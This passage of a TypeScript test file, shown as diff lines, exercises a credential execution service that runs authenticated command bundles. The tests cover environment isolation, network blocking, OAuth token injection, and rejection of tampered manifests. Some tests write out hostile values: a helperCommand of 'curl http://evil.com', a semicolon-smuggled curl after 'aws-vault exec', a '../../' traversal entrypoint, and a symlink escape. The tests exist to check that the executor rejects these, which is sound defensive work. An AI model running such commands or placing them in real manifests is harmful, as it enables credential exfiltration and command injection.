- const { digest } = publishTestBundle(
980
- manifest,
981
- "local",
982
- '#!/bin/sh\necho "error" >&2\nexit 42\n',
983
- );
984
-
985
- const deps = buildDeps();
986
- addCommandGrant(
987
- deps.persistentStore,
988
- "local_static:test/api_key",
989
- digest,
990
- "list",
991
- );
992
-
993
- const request: ExecuteCommandRequest = {
994
- bundleDigest: digest,
995
- profileName: "list",
996
- credentialHandle: "local_static:test/api_key",
997
- argv: ["list", "--format", "json"],
998
- workspaceDir: testWorkspaceDir,
999
- purpose: "Test non-zero exit",
1000
- };
1001
-
1002
- const result = await executeAuthenticatedCommand(request, deps);
1003
-
1004
- expect(result.exitCode).toBe(42);
1005
- expect(result.success).toBe(false);
1006
- expect(result.stderr).toContain("error");
1007
- });
1008
-
1009
- test("does not leak CES process environment to subprocess", async () => {
1010
- const manifest = buildManifest({
1011
- egressMode: EgressMode.NoNetwork,
1012
- commandProfiles: {
1013
- list: {
1014
- description: "List resources",
1015
- allowedArgvPatterns: [
1016
- {
1017
- name: "list-all",
1018
- tokens: ["list", "--format", "<format>"],
1019
- },
1020
- ],
1021
- deniedSubcommands: [],
1022
- },
1023
- },
1024
- });
1025
- // Script that tries to read a common CES env var
1026
- const { digest } = publishTestBundle(
1027
- manifest,
1028
- "local",
1029
- '#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "CREDENTIAL_SECURITY_DIR=${CREDENTIAL_SECURITY_DIR:-unset}"\n',
1030
- );
1031
-
1032
- const deps = buildDeps();
1033
- addCommandGrant(
1034
- deps.persistentStore,
1035
- "local_static:test/api_key",
1036
- digest,
1037
- "list",
1038
- );
1039
-
1040
- const request: ExecuteCommandRequest = {
1041
- bundleDigest: digest,
1042
- profileName: "list",
1043
- credentialHandle: "local_static:test/api_key",
1044
- argv: ["list", "--format", "json"],
1045
- workspaceDir: testWorkspaceDir,
1046
- purpose: "Test env isolation",
1047
- };
1048
-
1049
- const result = await executeAuthenticatedCommand(request, deps);
1050
-
1051
- if (result.exitCode === 0) {
1052
- expect(result.stdout).toContain("CES_MODE=unset");
1053
- expect(result.stdout).toContain("CREDENTIAL_SECURITY_DIR=unset");
1054
- }
1055
- });
1056
- });
1057
-
1058
- // ---------------------------------------------------------------------------
1059
- // Output copyback tests
1060
- // ---------------------------------------------------------------------------
1061
-
1062
- describe("executeAuthenticatedCommand — output copyback", () => {
1063
- test("copies declared output files back to workspace", async () => {
1064
- const manifest = buildManifest({
1065
- egressMode: EgressMode.NoNetwork,
1066
- commandProfiles: {
1067
- list: {
1068
- description: "List resources",
1069
- allowedArgvPatterns: [
1070
- {
1071
- name: "list-all",
1072
- tokens: ["list", "--format", "<format>"],
1073
- },
1074
- ],
1075
- deniedSubcommands: [],
1076
- },
1077
- },
1078
- });
1079
- // Script that creates an output file in the cwd
1080
- const { digest } = publishTestBundle(
1081
- manifest,
1082
- "local",
1083
- '#!/bin/sh\necho \'{"result":"ok"}\' > output.json\n',
1084
- );
1085
-
1086
- const deps = buildDeps();
1087
- addCommandGrant(
1088
- deps.persistentStore,
1089
- "local_static:test/api_key",
1090
- digest,
1091
- "list",
1092
- );
1093
-
1094
- const request: ExecuteCommandRequest = {
1095
- bundleDigest: digest,
1096
- profileName: "list",
1097
- credentialHandle: "local_static:test/api_key",
1098
- argv: ["list", "--format", "json"],
1099
- workspaceDir: testWorkspaceDir,
1100
- purpose: "Test output copyback",
1101
- outputs: [
1102
- {
1103
- scratchPath: "output.json",
1104
- workspacePath: "results/output.json",
1105
- },
1106
- ],
1107
- };
1108
-
1109
- const result = await executeAuthenticatedCommand(request, deps);
1110
-
1111
- if (result.exitCode === 0) {
1112
- if (result.copybackResult) {
1113
- // Check if the output was detected
1114
- const outputResult = result.copybackResult.outputs[0];
1115
- expect(outputResult).toBeDefined();
1116
- }
1117
- }
1118
- });
1119
- });
1120
-
1121
- // ---------------------------------------------------------------------------
1122
- // Banned binary defense-in-depth tests
1123
- // ---------------------------------------------------------------------------
1124
-
1125
- describe("executeAuthenticatedCommand — banned binaries", () => {
1126
- test("rejects execution of denied binaries at bundle level", async () => {
1127
- // Since publishBundle validates the manifest, we can't publish
1128
- // a bundle with a denied binary. This test verifies the error path
1129
- // by checking that resolution fails for non-published digests.
1130
- const deps = buildDeps();
1131
- const request: ExecuteCommandRequest = {
1132
- bundleDigest: "b".repeat(64),
1133
- profileName: "fetch",
1134
- credentialHandle: "local_static:test/api_key",
1135
- argv: ["https://example.com"],
1136
- workspaceDir: testWorkspaceDir,
1137
- purpose: "Try to run curl",
1138
- };
1139
-
1140
- const result = await executeAuthenticatedCommand(request, deps);
1141
-
1142
- expect(result.success).toBe(false);
1143
- expect(result.error).toContain("not published");
1144
- });
1145
- });
1146
-
1147
- // ---------------------------------------------------------------------------
1148
- // Entrypoint path containment tests
1149
- // ---------------------------------------------------------------------------
1150
-
1151
- describe("executeAuthenticatedCommand — entrypoint path containment", () => {
1152
- test("rejects entrypoint that escapes the bundle directory via path traversal", async () => {
1153
- // Publish a valid bundle with a safe entrypoint, then patch the
1154
- // toolstore manifest to inject a traversal path. This simulates a
1155
- // tampered manifest — publishBundle correctly rejects traversal
1156
- // entrypoints during extraction, so the containment check in the
1157
- // executor is a defense-in-depth layer.
1158
- const safeManifest = buildManifest({
1159
- egressMode: EgressMode.NoNetwork,
1160
- entrypoint: "bin/test-cli",
1161
- commandProfiles: {
1162
- list: {
1163
- description: "List resources",
1164
- allowedArgvPatterns: [
1165
- {
1166
- name: "list-all",
1167
- tokens: ["list", "--format", "<format>"],
1168
- },
1169
- ],
1170
- deniedSubcommands: [],
1171
- },
1172
- },
1173
- });
1174
- const { digest } = publishTestBundle(
1175
- safeManifest,
1176
- "local",
1177
- '#!/bin/sh\necho "should not run"\n',
1178
- );
1179
-
1180
- // Patch the toolstore manifest to inject a traversal entrypoint.
1181
- // The manifest is published as read-only (0o444), so chmod first.
1182
- const toolstoreDir = getCesToolStoreDir("local");
1183
- const manifestPath = getBundleManifestPath(toolstoreDir, digest);
1184
- chmodSync(manifestPath, 0o644);
1185
- const storedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
1186
- storedManifest.secureCommandManifest.entrypoint = "../../usr/bin/git";
1187
- writeFileSync(manifestPath, JSON.stringify(storedManifest, null, 2) + "\n");
1188
-
1189
- const deps = buildDeps();
1190
- addCommandGrant(
1191
- deps.persistentStore,
1192
- "local_static:test/api_key",
1193
- digest,
1194
- "list",
1195
- );
1196
-
1197
- const request: ExecuteCommandRequest = {
1198
- bundleDigest: digest,
1199
- profileName: "list",
1200
- credentialHandle: "local_static:test/api_key",
1201
- argv: ["list", "--format", "json"],
1202
- workspaceDir: testWorkspaceDir,
1203
- purpose: "Test path traversal",
1204
- };
1205
-
1206
- const result = await executeAuthenticatedCommand(request, deps);
1207
-
1208
- expect(result.success).toBe(false);
1209
- expect(result.error).toContain("resolves outside the bundle directory");
1210
- expect(result.error).toContain("Path traversal");
1211
- });
1212
- });
1213
-
1214
- // ---------------------------------------------------------------------------
1215
- // no_network enforcement tests
1216
- // ---------------------------------------------------------------------------
1217
-
1218
- describe("executeAuthenticatedCommand — no_network enforcement", () => {
1219
- test("injects blocking proxy env vars in no_network mode", async () => {
1220
- const manifest = buildManifest({
1221
- egressMode: EgressMode.NoNetwork,
1222
- commandProfiles: {
1223
- list: {
1224
- description: "List resources",
1225
- allowedArgvPatterns: [
1226
- {
1227
- name: "list-all",
1228
- tokens: ["list", "--format", "<format>"],
1229
- },
1230
- ],
1231
- deniedSubcommands: [],
1232
- },
1233
- },
1234
- });
1235
- // Script that checks for proxy env vars
1236
- const { digest } = publishTestBundle(
1237
- manifest,
1238
- "local",
1239
- '#!/bin/sh\necho "HTTP_PROXY=$HTTP_PROXY"\necho "HTTPS_PROXY=$HTTPS_PROXY"\n',
1240
- );
1241
-
1242
- const deps = buildDeps();
1243
- addCommandGrant(
1244
- deps.persistentStore,
1245
- "local_static:test/api_key",
1246
- digest,
1247
- "list",
1248
- );
1249
-
1250
- const request: ExecuteCommandRequest = {
1251
- bundleDigest: digest,
1252
- profileName: "list",
1253
- credentialHandle: "local_static:test/api_key",
1254
- argv: ["list", "--format", "json"],
1255
- workspaceDir: testWorkspaceDir,
1256
- purpose: "Test no_network proxy injection",
1257
- };
1258
-
1259
- const result = await executeAuthenticatedCommand(request, deps);
1260
-
1261
- expect(result.exitCode).toBe(0);
1262
- // The proxy vars should point at a dead address to block outbound connections
1263
- expect(result.stdout).toContain("HTTP_PROXY=http://127.0.0.1:0");
1264
- expect(result.stdout).toContain("HTTPS_PROXY=http://127.0.0.1:0");
1265
- });
1266
- });
1267
-
1268
- // ---------------------------------------------------------------------------
1269
- // credential_process stdin tests
1270
- // ---------------------------------------------------------------------------
1271
-
1272
- describe("executeAuthenticatedCommand — credential_process stdin", () => {
1273
- test("credential_process helper receives credential value on stdin", async () => {
1274
- const manifest = buildManifest({
1275
- egressMode: EgressMode.NoNetwork,
1276
- authAdapter: {
1277
- type: AuthAdapterType.CredentialProcess,
1278
- helperCommand: "cat", // cat echoes stdin to stdout
1279
- envVarName: "TRANSFORMED_CRED",
1280
- },
1281
- commandProfiles: {
1282
- list: {
1283
- description: "List resources",
1284
- allowedArgvPatterns: [
1285
- {
1286
- name: "list-all",
1287
- tokens: ["list", "--format", "<format>"],
1288
- },
1289
- ],
1290
- deniedSubcommands: [],
1291
- },
1292
- },
1293
- });
1294
- const { digest } = publishTestBundle(
1295
- manifest,
1296
- "local",
1297
- '#!/bin/sh\necho "$TRANSFORMED_CRED"\n',
1298
- );
1299
-
1300
- const deps = buildDeps({
1301
- materializeCredential: successMaterializer("my-raw-credential"),
1302
- });
1303
- addCommandGrant(
1304
- deps.persistentStore,
1305
- "local_static:test/api_key",
1306
- digest,
1307
- "list",
1308
- );
1309
-
1310
- const request: ExecuteCommandRequest = {
1311
- bundleDigest: digest,
1312
- profileName: "list",
1313
- credentialHandle: "local_static:test/api_key",
1314
- argv: ["list", "--format", "json"],
1315
- workspaceDir: testWorkspaceDir,
1316
- purpose: "Test credential_process stdin",
1317
- };
1318
-
1319
- const result = await executeAuthenticatedCommand(request, deps);
1320
-
1321
- // cat should have echoed the credential value via stdin, which then
1322
- // gets injected into TRANSFORMED_CRED for the command to use
1323
- expect(result.exitCode).toBe(0);
1324
- expect(result.stdout?.trim()).toBe("my-raw-credential");
1325
- });
1326
- });
1327
-
1328
- // ---------------------------------------------------------------------------
1329
- // RPC handler command string parsing tests
1330
- // ---------------------------------------------------------------------------
1331
-
1332
- describe("server — run_authenticated_command handler", () => {
1333
- // Test the command string parsing logic used by the RPC handler.
1334
- // We import the server module's createRunAuthenticatedCommandHandler
1335
- // and test it with mock deps.
1336
-
1337
- test("rejects empty command string", async () => {
1338
- // Import the handler factory from server
1339
- const { createRunAuthenticatedCommandHandler } =
1340
- await import("../server.js");
1341
-
1342
- const deps = buildDeps();
1343
- const handler = createRunAuthenticatedCommandHandler({
1344
- executorDeps: deps,
1345
- defaultWorkspaceDir: testWorkspaceDir,
1346
- });
1347
-
1348
- const response = await handler(
1349
- {
1350
- credentialHandle: "local_static:test/api_key",
1351
- command: "",
1352
- purpose: "Test empty command",
1353
- },
1354
- { sessionId: "test-session" },
1355
- );
1356
-
1357
- expect(response.success).toBe(false);
1358
- expect(response.error?.code).toBe("INVALID_COMMAND");
1359
- expect(response.error?.message).toContain("empty");
1360
- });
1361
-
1362
- test("rejects command without bundleDigest/profileName format", async () => {
1363
- const { createRunAuthenticatedCommandHandler } =
1364
- await import("../server.js");
1365
-
1366
- const deps = buildDeps();
1367
- const handler = createRunAuthenticatedCommandHandler({
1368
- executorDeps: deps,
1369
- defaultWorkspaceDir: testWorkspaceDir,
1370
- });
1371
-
1372
- const response = await handler(
1373
- {
1374
- credentialHandle: "local_static:test/api_key",
1375
- command: "just-a-plain-command --with-args",
1376
- purpose: "Test plain command",
1377
- },
1378
- { sessionId: "test-session" },
1379
- );
1380
-
1381
- expect(response.success).toBe(false);
1382
- expect(response.error?.code).toBe("INVALID_COMMAND");
1383
- expect(response.error?.message).toContain("Invalid command reference");
1384
- });
1385
-
1386
- test("parses valid command string format", async () => {
1387
- const { createRunAuthenticatedCommandHandler } =
1388
- await import("../server.js");
1389
-
1390
- const deps = buildDeps();
1391
- const handler = createRunAuthenticatedCommandHandler({
1392
- executorDeps: deps,
1393
- defaultWorkspaceDir: testWorkspaceDir,
1394
- });
1395
-
1396
- // This will fail at bundle resolution (fake digest), but the parse succeeds
1397
- const response = await handler(
1398
- {
1399
- credentialHandle: "local_static:test/api_key",
1400
- command: `${"a".repeat(64)}/list api /repos --method GET`,
1401
- purpose: "Test command parsing",
1402
- },
1403
- { sessionId: "test-session" },
1404
- );
1405
-
1406
- // Should fail at bundle resolution, not at command parsing
1407
- expect(response.error?.code).not.toBe("INVALID_COMMAND");
1408
- });
1409
- });
1410
-
1411
- // ---------------------------------------------------------------------------
1412
- // Integration: full pipeline with local static secret
1413
- // ---------------------------------------------------------------------------
1414
-
1415
- describe("executeAuthenticatedCommand — integration: local static secret", () => {
1416
- test("full pipeline with env_var adapter and no_network", async () => {
1417
- const manifest = buildManifest({
1418
- egressMode: EgressMode.NoNetwork,
1419
- authAdapter: {
1420
- type: AuthAdapterType.EnvVar,
1421
- envVarName: "API_KEY",
1422
- },
1423
- commandProfiles: {
1424
- list: {
1425
- description: "List resources",
1426
- allowedArgvPatterns: [
1427
- {
1428
- name: "list-all",
1429
- tokens: ["list", "--format", "<format>"],
1430
- },
1431
- ],
1432
- deniedSubcommands: [],
1433
- },
1434
- },
1435
- });
1436
- const { digest } = publishTestBundle(
1437
- manifest,
1438
- "local",
1439
- '#!/bin/sh\nif [ -n "$API_KEY" ]; then echo "authed: $1 $2 $3"; else echo "no auth"; exit 1; fi\n',
1440
- );
1441
-
1442
- const deps = buildDeps({
1443
- materializeCredential: successMaterializer("sk-test-key-12345"),
1444
- });
1445
- addCommandGrant(
1446
- deps.persistentStore,
1447
- "local_static:test/api_key",
1448
- digest,
1449
- "list",
1450
- );
1451
-
1452
- const request: ExecuteCommandRequest = {
1453
- bundleDigest: digest,
1454
- profileName: "list",
1455
- credentialHandle: "local_static:test/api_key",
1456
- argv: ["list", "--format", "json"],
1457
- workspaceDir: testWorkspaceDir,
1458
- purpose: "Full pipeline test",
1459
- };
1460
-
1461
- const result = await executeAuthenticatedCommand(request, deps);
1462
-
1463
- expect(result.success).toBe(true);
1464
- expect(result.exitCode).toBe(0);
1465
- expect(result.stdout).toContain("authed: list --format json");
1466
- expect(result.auditId).toBeDefined();
1467
- });
1468
- });
1469
-
1470
- // ---------------------------------------------------------------------------
1471
- // Integration: local OAuth
1472
- // ---------------------------------------------------------------------------
1473
-
1474
- describe("executeAuthenticatedCommand — integration: local OAuth", () => {
1475
- test("full pipeline with OAuth token and env_var adapter", async () => {
1476
- const manifest = buildManifest({
1477
- egressMode: EgressMode.NoNetwork,
1478
- authAdapter: {
1479
- type: AuthAdapterType.EnvVar,
1480
- envVarName: "OAUTH_TOKEN",
1481
- valuePrefix: "Bearer ",
1482
- },
1483
- commandProfiles: {
1484
- list: {
1485
- description: "List resources",
1486
- allowedArgvPatterns: [
1487
- {
1488
- name: "list-all",
1489
- tokens: ["list", "--format", "<format>"],
1490
- },
1491
- ],
1492
- deniedSubcommands: [],
1493
- },
1494
- },
1495
- });
1496
- const { digest } = publishTestBundle(
1497
- manifest,
1498
- "local",
1499
- '#!/bin/sh\necho "$OAUTH_TOKEN"\n',
1500
- );
1501
-
1502
- const deps = buildDeps({
1503
- materializeCredential: successMaterializer("ya29.test-oauth-token"),
1504
- });
1505
- addCommandGrant(
1506
- deps.persistentStore,
1507
- "local_oauth:google/conn-123",
1508
- digest,
1509
- "list",
1510
- );
1511
-
1512
- const request: ExecuteCommandRequest = {
1513
- bundleDigest: digest,
1514
- profileName: "list",
1515
- credentialHandle: "local_oauth:google/conn-123",
1516
- argv: ["list", "--format", "json"],
1517
- workspaceDir: testWorkspaceDir,
1518
- purpose: "OAuth pipeline test",
1519
- };
1520
-
1521
- const result = await executeAuthenticatedCommand(request, deps);
1522
-
1523
- expect(result.success).toBe(true);
1524
- expect(result.exitCode).toBe(0);
1525
- expect(result.stdout?.trim()).toBe("Bearer ya29.test-oauth-token");
1526
- });
1527
- });
1528
-
1529
- // ---------------------------------------------------------------------------
1530
- // Integration: managed OAuth
1531
- // ---------------------------------------------------------------------------
1532
-
1533
- describe("executeAuthenticatedCommand — integration: managed OAuth", () => {
1534
- test("full pipeline with managed OAuth token", async () => {
1535
- const manifest = buildManifest({
1536
- egressMode: EgressMode.NoNetwork,
1537
- authAdapter: {
1538
- type: AuthAdapterType.EnvVar,
1539
- envVarName: "PLATFORM_TOKEN",
1540
- },
1541
- commandProfiles: {
1542
- list: {
1543
- description: "List resources",
1544
- allowedArgvPatterns: [
1545
- {
1546
- name: "list-all",
1547
- tokens: ["list", "--format", "<format>"],
1548
- },
1549
- ],
1550
- deniedSubcommands: [],
1551
- },
1552
- },
1553
- });
1554
- const { digest } = publishTestBundle(
1555
- manifest,
1556
- "local",
1557
- '#!/bin/sh\necho "$PLATFORM_TOKEN"\n',
1558
- );
1559
-
1560
- const deps = buildDeps({
1561
- materializeCredential: successMaterializer("platform-managed-token-xyz"),
1562
- });
1563
- addCommandGrant(
1564
- deps.persistentStore,
1565
- "platform_oauth:platform-conn-456",
1566
- digest,
1567
- "list",
1568
- );
1569
-
1570
- const request: ExecuteCommandRequest = {
1571
- bundleDigest: digest,
1572
- profileName: "list",
1573
- credentialHandle: "platform_oauth:platform-conn-456",
1574
- argv: ["list", "--format", "json"],
1575
- workspaceDir: testWorkspaceDir,
1576
- purpose: "Managed OAuth pipeline test",
1577
- };
1578
-
1579
- const result = await executeAuthenticatedCommand(request, deps);
1580
-
1581
- expect(result.success).toBe(true);
1582
- expect(result.exitCode).toBe(0);
1583
- expect(result.stdout?.trim()).toBe("platform-managed-token-xyz");
1584
- });
1585
- });
1586
-
1587
- // ---------------------------------------------------------------------------
1588
- // Defense-in-depth: helperCommand denied binary re-check at execution time
1589
- // ---------------------------------------------------------------------------
1590
-
1591
- describe("executeAuthenticatedCommand — credential_process defense-in-depth", () => {
1592
- test("rejects helperCommand with denied binary at execution time", async () => {
1593
- // Simulate a tampered manifest where helperCommand points to a denied binary.
1594
- // The validator would normally catch this, but the executor should independently
1595
- // re-check as defense-in-depth.
1596
- // Use a valid helperCommand for publishing, then tamper it post-publish.
1597
- const manifest = buildManifest({
1598
- egressMode: EgressMode.NoNetwork,
1599
- authAdapter: {
1600
- type: AuthAdapterType.CredentialProcess,
1601
- helperCommand: "aws-vault exec default",
1602
- envVarName: "STOLEN_CRED",
1603
- },
1604
- commandProfiles: {
1605
- list: {
1606
- description: "List resources",
1607
- allowedArgvPatterns: [
1608
- {
1609
- name: "list-all",
1610
- tokens: ["list", "--format", "<format>"],
1611
- },
1612
- ],
1613
- deniedSubcommands: [],
1614
- },
1615
- },
1616
- });
1617
-
1618
- const { digest } = publishTestBundle(
1619
- manifest,
1620
- "local",
1621
- '#!/bin/sh\necho "denied-binary-test"\n',
1622
- );
1623
-
1624
- // Patch the published manifest to contain the denied helperCommand.
1625
- // The manifest is published as read-only (0o444), so chmod first.
1626
- const toolstoreDir = getCesToolStoreDir("local");
1627
- const manifestPath = getBundleManifestPath(toolstoreDir, digest);
1628
- chmodSync(manifestPath, 0o644);
1629
- const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
1630
- publishedManifest.secureCommandManifest.authAdapter.helperCommand =
1631
- "curl http://evil.com";
1632
- writeFileSync(manifestPath, JSON.stringify(publishedManifest));
1633
-
1634
- const deps = buildDeps({
1635
- materializeCredential: successMaterializer("secret-value"),
1636
- });
1637
- addCommandGrant(
1638
- deps.persistentStore,
1639
- "local_static:test/api_key",
1640
- digest,
1641
- "list",
1642
- );
1643
-
1644
- const request: ExecuteCommandRequest = {
1645
- bundleDigest: digest,
1646
- profileName: "list",
1647
- credentialHandle: "local_static:test/api_key",
1648
- argv: ["list", "--format", "json"],
1649
- workspaceDir: testWorkspaceDir,
1650
- purpose: "Test defense-in-depth denied binary re-check",
1651
- };
1652
-
1653
- const result = await executeAuthenticatedCommand(request, deps);
1654
-
1655
- expect(result.success).toBe(false);
1656
- expect(result.error).toContain("denied binary");
1657
- expect(result.error).toContain("curl");
1658
- });
1659
-
1660
- test("rejects helperCommand with shell metacharacters at execution time", async () => {
1661
- // Use a valid helperCommand for publishing, then tamper it post-publish.
1662
- const manifest = buildManifest({
1663
- egressMode: EgressMode.NoNetwork,
1664
- authAdapter: {
1665
- type: AuthAdapterType.CredentialProcess,
1666
- helperCommand: "aws-vault exec default",
1667
- envVarName: "STOLEN_CRED",
1668
- },
1669
- commandProfiles: {
1670
- list: {
1671
- description: "List resources",
1672
- allowedArgvPatterns: [
1673
- {
1674
- name: "list-all",
1675
- tokens: ["list", "--format", "<format>"],
1676
- },
1677
- ],
1678
- deniedSubcommands: [],
1679
- },
1680
- },
1681
- });
1682
-
1683
- const { digest } = publishTestBundle(
1684
- manifest,
1685
- "local",
1686
- '#!/bin/sh\necho "metacharacter-test"\n',
1687
- );
1688
-
1689
- // Patch the published manifest to contain shell metacharacters.
1690
- // The manifest is published as read-only (0o444), so chmod first.
1691
- const toolstoreDir = getCesToolStoreDir("local");
1692
- const manifestPath = getBundleManifestPath(toolstoreDir, digest);
1693
- chmodSync(manifestPath, 0o644);
1694
- const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
1695
- publishedManifest.secureCommandManifest.authAdapter.helperCommand =
1696
- "aws-vault exec default; curl http://evil.com";
1697
- writeFileSync(manifestPath, JSON.stringify(publishedManifest));
1698
-
1699
- const deps = buildDeps({
1700
- materializeCredential: successMaterializer("secret-value"),
1701
- });
1702
- addCommandGrant(
1703
- deps.persistentStore,
1704
- "local_static:test/api_key",
1705
- digest,
1706
- "list",
1707
- );
1708
-
1709
- const request: ExecuteCommandRequest = {
1710
- bundleDigest: digest,
1711
- profileName: "list",
1712
- credentialHandle: "local_static:test/api_key",
1713
- argv: ["list", "--format", "json"],
1714
- workspaceDir: testWorkspaceDir,
1715
- purpose: "Test defense-in-depth metacharacter rejection",
1716
- };
1717
-
1718
- const result = await executeAuthenticatedCommand(request, deps);
1719
-
1720
- expect(result.success).toBe(false);
1721
- expect(result.error).toContain("shell metacharacters");
1722
- });
1723
- });
1724
-
1725
- // ---------------------------------------------------------------------------
1726
- // Entrypoint symlink escape tests (defense-in-depth)
1727
- // ---------------------------------------------------------------------------
1728
-
1729
- describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1730
- test("rejects entrypoint that is a symlink resolving outside the bundle directory", async () => {
1731
- // Publish a valid bundle first, then tamper with the on-disk entrypoint
1732
- // by replacing it with a symlink. This tests the executor's defense-in-depth
1733
- // check — the publisher should also reject symlink entrypoints, but the
1734
- // executor must independently verify.
1735
- const manifest = buildManifest({
1736
- egressMode: EgressMode.NoNetwork,
1737
- entrypoint: "bin/test-cli",
1738
- commandProfiles: {
1739
- list: {
1740
- description: "List resources",
1741
- allowedArgvPatterns: [
1742
- {
1743
- name: "list-all",
1744
- tokens: ["list", "--format", "<format>"],
1745
- },
1746
- ],
1747
- deniedSubcommands: [],
1748
- },
1749
- },
1750
- });
1751
- const { digest } = publishTestBundle(
1752
- manifest,
1753
- "local",
1754
- '#!/bin/sh\necho "symlink-escape-test"\n',
1755
- );
1756
-
1757
- // Tamper: replace the real entrypoint with a symlink to an external binary
1758
- const toolstoreDir = getCesToolStoreDir("local");
1759
- const bundleDir = getBundleDir(toolstoreDir, digest);
1760
- const entrypointPath = join(bundleDir, "bin/test-cli");
1761
-
1762
- // The published entrypoint is read-only (0o555), need to make writable to tamper
1763
- chmodSync(entrypointPath, 0o755);
1764
- unlinkSync(entrypointPath);
1765
- symlinkSync("/usr/bin/env", entrypointPath);
1766
-
1767
- const deps = buildDeps();
1768
- addCommandGrant(
1769
- deps.persistentStore,
1770
- "local_static:test/api_key",
1771
- digest,
1772
- "list",
1773
- );
1774
-
1775
- const request: ExecuteCommandRequest = {
1776
- bundleDigest: digest,
1777
- profileName: "list",
1778
- credentialHandle: "local_static:test/api_key",
1779
- argv: ["list", "--format", "json"],
1780
- workspaceDir: testWorkspaceDir,
1781
- purpose: "Test symlink escape prevention",
1782
- };
1783
-
1784
- const result = await executeAuthenticatedCommand(request, deps);
1785
-
1786
- expect(result.success).toBe(false);
1787
- expect(result.error).toContain("symlink");
1788
- expect(result.error).toContain("outside the bundle directory");
1789
- });
1790
-
1791
- test("accepts legitimate entrypoint when toolstore path traverses symlinks (e.g. macOS /tmp -> /private/tmp)", async () => {
1792
- // Create a deliberate symlink so the symlink-traversal scenario is
1793
- // always exercised, regardless of OS/CI platform. Without the
1794
- // realpathSync(bundleDir) fix in the executor, this test fails because
1795
- // the resolved entrypoint path doesn't start with the un-resolved
1796
- // bundleDir.
1797
- const realDataDir = makeTempDir("ces-symlink-real");
1798
- const symlinkDataDir = join(tmpdir(), `ces-symlink-link-${randomUUID()}`);
1799
- symlinkSync(realpathSync(realDataDir), symlinkDataDir);
1800
-
1801
- const origSecurityDir = process.env["CREDENTIAL_SECURITY_DIR"];
1802
- process.env["CREDENTIAL_SECURITY_DIR"] = symlinkDataDir;
1803
- try {
1804
- const cesRoot = getCesDataRoot("local");
1805
- mkdirSync(cesRoot, { recursive: true });
1806
- mkdirSync(getCesToolStoreDir("local"), { recursive: true });
1807
-
1808
- const manifest = buildManifest({
1809
- egressMode: EgressMode.NoNetwork,
1810
- entrypoint: "bin/test-cli",
1811
- commandProfiles: {
1812
- list: {
1813
- description: "List resources",
1814
- allowedArgvPatterns: [
1815
- {
1816
- name: "list-all",
1817
- tokens: ["list", "--format", "<format>"],
1818
- },
1819
- ],
1820
- deniedSubcommands: [],
1821
- },
1822
- },
1823
- });
1824
- const { digest } = publishTestBundle(
1825
- manifest,
1826
- "local",
1827
- '#!/bin/sh\necho "symlink-traversal-test"\n',
1828
- );
1829
-
1830
- // Confirm the symlink scenario is actually in effect
1831
- const toolstoreDir = getCesToolStoreDir("local");
1832
- const bundleDir = getBundleDir(toolstoreDir, digest);
1833
- const resolvedBundleDir = realpathSync(bundleDir);
1834
- expect(resolvedBundleDir).not.toBe(bundleDir);
1835
-
1836
- const deps = buildDeps();
1837
- addCommandGrant(
1838
- deps.persistentStore,
1839
- "local_static:test/api_key",
1840
- digest,
1841
- "list",
1842
- );
1843
-
1844
- const request: ExecuteCommandRequest = {
1845
- bundleDigest: digest,
1846
- profileName: "list",
1847
- credentialHandle: "local_static:test/api_key",
1848
- argv: ["list", "--format", "json"],
1849
- workspaceDir: testWorkspaceDir,
1850
- purpose: "Test symlink traversal in toolstore path",
1851
- };
1852
-
1853
- const result = await executeAuthenticatedCommand(request, deps);
1854
-
1855
- // The command should execute successfully — not be rejected by the
1856
- // symlink escape check due to path mismatch through the symlink
1857
- expect(result.success).toBe(true);
1858
- expect(result.exitCode).toBe(0);
1859
- expect(result.stdout).toContain("symlink-traversal-test");
1860
- } finally {
1861
- // Restore env and clean up
1862
- if (origSecurityDir === undefined) {
1863
- delete process.env["CREDENTIAL_SECURITY_DIR"];
1864
- } else {
1865
- process.env["CREDENTIAL_SECURITY_DIR"] = origSecurityDir;
1866
- }
1867
- try {
1868
- unlinkSync(symlinkDataDir);
1869
- } catch {
1870
- /* best-effort */
1871
- }
1872
- try {
1873
- rmSync(realDataDir, { recursive: true, force: true });
1874
- } catch {
1875
- /* best-effort */
1876
- }
1877
- }
1878
- });
1879
- });